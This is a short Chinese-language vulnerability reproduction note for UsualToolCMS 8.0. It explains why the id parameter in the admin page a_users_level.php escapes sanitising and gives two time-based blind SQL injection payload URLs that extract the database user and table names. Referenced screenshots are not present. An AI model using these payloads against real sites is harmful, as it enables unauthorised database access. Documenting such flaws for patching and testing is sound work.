UsualToolcms 8.0 后台盲注
=========================

一、漏洞简介
------------

二、漏洞影响
------------

UsualToolCMS-8.0-Release

三、复现过程
------------

### 漏洞分析

./cmsadmin/a\_users\_level.php第19行和第26行，id参数可控

![](./resource/UsualToolcms8.0a_users_level.php后台盲注/media/rId25.png)

从get处获取id参数，id存在无任何过滤，当postt
id时，通过sqlcheck函数进行过滤，来到文件./class/UsualToolCMS\_INC.php第33行，将(\',\\,\",null)转义，34行调用sqlchecks函数，比没过滤sql，然而a\_users\_level.php第19行id不是字符

![](./resource/UsualToolcms8.0a_users_level.php后台盲注/media/rId26.png)

### 复现

可以利用时间盲注来进行sql注入攻击，payload如下：

    a.当前数据库：http://0-sec.org:8080/UsualToolCMS/cmsadmin/a_users_level.php?x=m&id=2 and if(ascii(substr(user(),1,1))=114,sleep(6),1)
    b.表：http://0-sec.org:8080/UsualToolCMS/cmsadmin/a_users_level.php?x=m&id=2 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>30,sleep(6),1)

![](./resource/UsualToolcms8.0a_users_level.php后台盲注/media/rId28.png)

时间盲注验证脚本

![](./resource/UsualToolcms8.0a_users_level.php后台盲注/media/rId29.png)

image
